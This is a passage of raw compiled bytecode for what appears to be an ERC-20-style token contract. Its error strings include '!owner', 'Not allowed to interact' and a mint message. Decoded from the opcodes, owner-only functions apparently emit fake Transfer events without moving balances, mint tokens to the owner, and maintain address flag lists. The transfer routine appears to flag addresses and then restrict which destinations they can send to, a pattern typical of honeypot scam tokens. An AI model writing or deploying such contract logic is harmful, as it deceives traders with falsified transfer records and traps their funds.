081840152601f19601f820116905080830192505050505050509192919290505050611432565b005b610731600480360360608110156105dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561061a57600080fd5b82018360208201111561062c57600080fd5b8035906020019184602083028401116401000000008311171561064e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156106ae57600080fd5b8201836020820111156106c057600080fd5b803590602001918460208302840111640100000000831117156106e257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506115a2565b005b61077f6004803603604081101561074957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116cc565b005b6107c36004803603602081101561079757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118eb565b005b61087b600480360360208110156107db57600080fd5b81019080803590602001906401000000008111156107f857600080fd5b82018360208201111561080a57600080fd5b8035906020019184602083028401116401000000008311171561082c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611a37565b005b610885611bef565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610909600480360360208110156108dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c15565b005b61094d6004803603602081101561092157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d61565b6040518082815260200191505060405180910390f35b61096b611da9565b005b610975611e6e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109b557808201518184015260208101905061099a565b50505050905090810190601f1680156109e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a5c60048036036060811015610a0657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f10565b005b610aca60048036036060811015610a7457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061203d565b604051808215151515815260200191505060405180910390f35b610b5060048036036060811015610afa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121d9565b005b610b9e60048036036040811015610b6857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612306565b604051808215151515815260200191505060405180910390f35b610bc0612324565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c0a61234a565b005b610d7660048036036060811015610c2257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610c5f57600080fd5b820183602082011115610c7157600080fd5b80359060200191846020830284011164010000000083111715610c9357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610cf357600080fd5b820183602082011115610d0557600080fd5b80359060200191846020830284011164010000000083111715610d2757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061240f565b005b610ee260048036036060811015610d8e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610dcb57600080fd5b820183602082011115610ddd57600080fd5b80359060200191846020830284011164010000000083111715610dff57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610e5f57600080fd5b820183602082011115610e7157600080fd5b80359060200191846020830284011164010000000083111715610e9357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061257f565b005b610f4660048036036040811015610efa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126a9565b6040518082815260200191505060405180910390f35b610f9e60048036036020811015610f7257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612730565b604051808215151515815260200191505060405180910390f35b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461107b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b815181101561116d5760016002600084848151811061109c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061110757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611081565b5050565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112095780601f106111de57610100808354040283529160200191611209565b820191906000526020600020905b8154815290600101906020018083116111ec57829003601f168201915b5050505050905090565b6000611227611220612812565b848461281a565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b600061134f848484612a11565b6114108461135b612812565b61140b856040518060600160405280602881526020016148ec60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113c1612812565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b61281a565b600190509392505050565b6000600760009054906101000a900460ff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60008090505b825181101561159c5782818151811061151057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061157257fe5b60200260200101516040518082815260200191505060405180910390a380806001019150506114fb565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611665576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61167983611671612812565b60085461281a565b60008090505b82518110156116c6576116b98484838151811061169857fe5b60200260200101518484815181106116ac57fe5b60200260200101516144b6565b808060010191505061167f565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461178f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6117a4816004546147f390919063ffffffff16565b60048190555061181d81600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611a3481600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600061281a565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611afa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8151811015611beb576001806000848481518110611b1a57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110611b8557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611b00565b5050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cd8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611d5e81600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660085461281a565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f065780601f10611edb57610100808354040283529160200191611f06565b820191906000526020600020905b815481529060010190602001808311611ee957829003601f168201915b5050505050905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61210d8484846144b6565b6121ce84612119612812565b6121c9856040518060600160405280602881526020016148ec60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061217f612812565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b61281a565b600190509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461229c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061231a612313612812565b8484612a11565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461240d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60008090505b8251811015612579578281815181106124ed57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061254f57fe5b60200260200101516040518082815260200191505060405180910390a380806001019150506124d8565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612642576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b6126568361264e612812565b60085461281a565b60008090505b82518110156126a3576126968484838151811061267557fe5b602002602001015184848151811061268957fe5b60200260200101516144b6565b808060010191505061265c565b50505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146127f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61280982612801612812565b60085461281a565b60019050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806149396024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612926576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806148a46022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015612ae05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15612e635781600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612bac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612c32576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b612c3d86868661487b565b612ca8846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612df957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ee565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612f0c5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80612f645750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561333b57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612ff157508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15612ffe5780600a819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613084576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561310a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b61311586868661487b565b613180846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613213846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156132d157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ed565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156136d157600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561341a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156134a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b6134ab86868661487b565b613516846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135a9846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561366757600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ec565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613b6557600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806137d35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b613828576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806148c66026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156138ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613934576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b61393f86868661487b565b6139aa846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a3d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613afb57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143eb565b600a54811015613fb357600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613c76576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613cfc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b613d8d86868661487b565b613df8846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613e8b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613f4957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ea565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061405c5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6140b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806148c66026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415614137576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156141bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b6141c886868661487b565b614233846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506142c6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561438457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b60008383111582906144a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561446857808201518184015260208101905061444d565b50505050905090810190601f1680156144955780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561453c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156145c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b6145cd83838361487b565b614638816040518060600160405280602681526020016148c6602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506146cb816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561478957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692505b8173ffffffffffffffffffffffffffffffffffffffff